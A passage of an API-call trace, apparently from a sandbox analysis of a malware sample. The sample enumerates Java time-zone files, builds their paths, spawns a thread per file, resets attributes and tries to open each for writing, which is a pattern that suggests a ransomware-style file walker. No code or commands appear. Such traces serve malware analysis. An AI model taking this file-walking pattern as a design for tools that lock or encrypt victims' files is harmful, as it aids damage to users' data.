(in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x940 [0174.957] FindNextFileW (in: hFindFile=0x93aff8, lpFindFileData=0x92ce40 | out: lpFindFileData=0x92ce40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eucla", cAlternateFileName="")) returned 1 [0174.957] wcscmp (_String1="Eucla", _String2=".") returned 1 [0174.957] wcscmp (_String1="Eucla", _String2="..") returned 1 [0174.957] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e8878 [0174.957] wcscpy (in: _Dest=0x8e8878, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" [0174.957] wcscat (in: _Dest=0x8e8878, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\" [0174.958] wcscat (in: _Dest=0x8e8878, _Source="Eucla" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Eucla") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Eucla" [0174.958] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8878, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe34 [0174.959] FindNextFileW (in: hFindFile=0x93aff8, lpFindFileData=0x92ce40 | out: lpFindFileData=0x92ce40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x508, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hobart", cAlternateFileName="")) returned 1 [0174.959] wcscmp (_String1="Hobart", _String2=".") returned 1 [0174.959] wcscmp (_String1="Hobart", _String2="..") returned 1 [0174.959] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8d0480 [0174.959] wcscpy (in: _Dest=0x8d0480, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" [0174.959] wcscat (in: _Dest=0x8d0480, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\" [0174.959] wcscat (in: _Dest=0x8d0480, _Source="Hobart" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Hobart") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Hobart" [0174.959] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x470 [0174.960] FindNextFileW (in: hFindFile=0x93aff8, lpFindFileData=0x92ce40 | out: lpFindFileData=0x92ce40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lindeman", cAlternateFileName="")) returned 1 [0174.960] wcscmp (_String1="Lindeman", _String2=".") returned 1 [0174.960] wcscmp (_String1="Lindeman", _String2="..") returned 1 [0174.960] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x8d0680 [0174.960] wcscpy (in: _Dest=0x8d0680, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" [0174.960] wcscat (in: _Dest=0x8d0680, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\" [0174.960] wcscat (in: _Dest=0x8d0680, _Source="Lindeman" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Lindeman") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Lindeman" [0174.960] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0680, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa50 [0174.961] FindNextFileW (in: hFindFile=0x93aff8, lpFindFileData=0x92ce40 | out: lpFindFileData=0x92ce40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lord_Howe", cAlternateFileName="LORD_H~1")) returned 1 [0174.961] wcscmp (_String1="Lord_Howe", _String2=".") returned 1 [0174.961] wcscmp (_String1="Lord_Howe", _String2="..") returned 1 [0174.961] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x8d0880 [0174.961] wcscpy (in: _Dest=0x8d0880, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" [0174.961] wcscat (in: _Dest=0x8d0880, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\" [0174.961] wcscat (in: _Dest=0x8d0880, _Source="Lord_Howe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Lord_Howe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Lord_Howe" [0174.961] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa58 [0174.962] FindNextFileW (in: hFindFile=0x93aff8, lpFindFileData=0x92ce40 | out: lpFindFileData=0x92ce40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Melbourne", cAlternateFileName="MELBOU~1")) returned 1 [0174.962] wcscmp (_String1="Melbourne", _String2=".") returned 1 [0174.962] wcscmp (_String1="Melbourne", _String2="..") returned 1 [0174.962] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x8d0600 [0174.962] wcscpy (in: _Dest=0x8d0600, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" [0174.963] wcscat (in: _Dest=0x8d0600, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\" [0174.963] wcscat (in: _Dest=0x8d0600, _Source="Melbourne" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Melbourne") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Melbourne" [0174.963] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa5c [0174.964] FindNextFileW (in: hFindFile=0x93aff8, lpFindFileData=0x92ce40 | out: lpFindFileData=0x92ce40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perth", cAlternateFileName="")) returned 1 [0174.964] wcscmp (_String1="Perth", _String2=".") returned 1 [0174.964] wcscmp (_String1="Perth", _String2="..") returned 1 [0174.964] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e8ff8 [0174.964] wcscpy (in: _Dest=0x8e8ff8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" [0174.964] wcscat (in: _Dest=0x8e8ff8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\" [0174.964] wcscat (in: _Dest=0x8e8ff8, _Source="Perth" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Perth") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Perth" [0174.964] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8ff8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa60 [0174.965] FindNextFileW (in: hFindFile=0x93aff8, lpFindFileData=0x92ce40 | out: lpFindFileData=0x92ce40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sydney", cAlternateFileName="")) returned 1 [0174.965] wcscmp (_String1="Sydney", _String2=".") returned 1 [0174.965] wcscmp (_String1="Sydney", _String2="..") returned 1 [0174.965] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8d0d80 [0174.965] wcscpy (in: _Dest=0x8d0d80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" [0174.965] wcscat (in: _Dest=0x8d0d80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\" [0174.965] wcscat (in: _Dest=0x8d0d80, _Source="Sydney" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Sydney") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Sydney" [0174.965] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0d80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6dc [0174.968] FindNextFileW (in: hFindFile=0x93aff8, lpFindFileData=0x92ce40 | out: lpFindFileData=0x92ce40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sydney", cAlternateFileName="")) returned 0 [0174.968] FindClose (in: hFindFile=0x93aff8 | out: hFindFile=0x93aff8) returned 1 [0174.969] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92ce40) returned 1 [0174.969] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f0e98) returned 1 [0174.969] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f1288) returned 1 Thread: id = 5291 os_tid = 0xfdc [0164.242] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\CET" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\cet")) returned 0x20 [0170.416] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\CET", dwFileAttributes=0x20) returned 0 [0170.416] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\CET" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\cet"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.416] GetLastError () returned 0x5 [0170.416] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\CET", dwFileAttributes=0x20) returned 0 [0170.416] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ff0c8) returned 1 Thread: id = 5292 os_tid = 0xfe0 [0164.243] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\CST6CDT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\cst6cdt")) returned 0x20 [0170.414] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\CST6CDT", dwFileAttributes=0x20) returned 0 [0170.414] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\CST6CDT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\cst6cdt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.414] GetLastError () returned 0x5 [0170.414] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\CST6CDT", dwFileAttributes=0x20) returned 0 [0170.415] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90f090) returned 1 Thread: id = 5293 os_tid = 0xfe4 [0164.244] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\EET" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\eet")) returned 0x20 [0170.411] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\EET", dwFileAttributes=0x20) returned 0 [0170.411] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\EET" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\eet"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.411] GetLastError () returned 0x5 [0170.411] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\EET", dwFileAttributes=0x20) returned 0 [0170.411] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ff308) returned 1 Thread: id = 5294 os_tid = 0xfe8 [0164.245] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\EST" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\est")) returned 0x20 [0170.410] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\EST", dwFileAttributes=0x20) returned 0 [0170.410] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\EST" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\est"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.410] GetLastError () returned 0x5 [0170.410] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\EST", dwFileAttributes=0x20) returned 0 [0170.410] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ff608) returned 1 Thread: id = 5295 os_tid = 0xfec [0164.248] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\EST5EDT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\est5edt")) returned 0x20 [0170.408] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\EST5EDT", dwFileAttributes=0x20) returned 0 [0170.409] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\EST5EDT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\est5edt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.409] GetLastError () returned 0x5 [0170.409] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\EST5EDT", dwFileAttributes=0x20) returned 0 [0170.409] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90ea10) returned 1 Thread: id = 5296 os_tid = 0x9f4 [0164.253] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5c) returned 0x90f028 [0164.253] wcscpy (in: _Dest=0x90f028, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0164.253] wcscat (in: _Dest=0x90f028, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0164.253] wcscat (in: _Dest=0x90f028, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\*" [0164.253] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x92a2f0 [0164.253] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\*", lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b978 [0170.595] wcscmp (_String1=".", _String2=".") returned 0 [0170.595] FindNextFileW (in: hFindFile=0x93b978, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.595] wcscmp (_String1="..", _String2=".") returned 1 [0170.595] wcscmp (_String1="..", _String2="..") returned 0 [0170.595] FindNextFileW (in: hFindFile=0x93b978, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT", cAlternateFileName="")) returned 1 [0170.595] wcscmp (_String1="GMT", _String2=".") returned 1 [0170.595] wcscmp (_String1="GMT", _String2="..") returned 1 [0170.595] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x60) returned 0x90ea78 [0170.596] wcscpy (in: _Dest=0x90ea78, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0170.596] wcscat (in: _Dest=0x90ea78, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0170.596] wcscat (in: _Dest=0x90ea78, _Source="GMT" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT" [0173.334] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x90ea78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x878 [0173.335] FindNextFileW (in: hFindFile=0x93b978, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+1", cAlternateFileName="GMT_1~1")) returned 1 [0173.335] wcscmp (_String1="GMT+1", _String2=".") returned 1 [0173.335] wcscmp (_String1="GMT+1", _String2="..") returned 1 [0173.335] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x8f10c8 [0173.335] wcscpy (in: _Dest=0x8f10c8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0173.336] wcscat (in: _Dest=0x8f10c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0173.336] wcscat (in: _Dest=0x8f10c8, _Source="GMT+1" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+1") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+1" [0173.336] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f10c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x87c [0173.337] FindNextFileW (in: hFindFile=0x93b978, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+10", cAlternateFileName="GMT_10~1")) returned 1 [0173.337] wcscmp (_String1="GMT+10", _String2=".") returned 1 [0173.337] wcscmp (_String1="GMT+10", _String2="..") returned 1 [0173.337] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x8f1a68 [0173.337] wcscpy (in: _Dest=0x8f1a68, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0173.337] wcscat (in: _Dest=0x8f1a68, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0173.337] wcscat (in: _Dest=0x8f1a68, _Source="GMT+10" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+10") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+10" [0173.337] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1a68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x890 [0173.338] FindNextFileW (in: hFindFile=0x93b978, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+11", cAlternateFileName="GMT_11~1")) returned 1 [0173.338] wcscmp (_String1="GMT+11", _String2=".") returned 1 [0173.338] wcscmp (_String1="GMT+11", _String2="..") returned 1 [0173.338] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x8f0cd8 [0173.338] wcscpy (in: _Dest=0x8f0cd8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0173.338] wcscat (in: _Dest=0x8f0cd8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0173.338] wcscat (in: _Dest=0x8f0cd8, _Source="GMT+11" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+11") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+11" [0173.339] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f0cd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x894 [0173.340] FindNextFileW (in: hFindFile=0x93b978, lpFindFileData=0x92a2f0 | out: 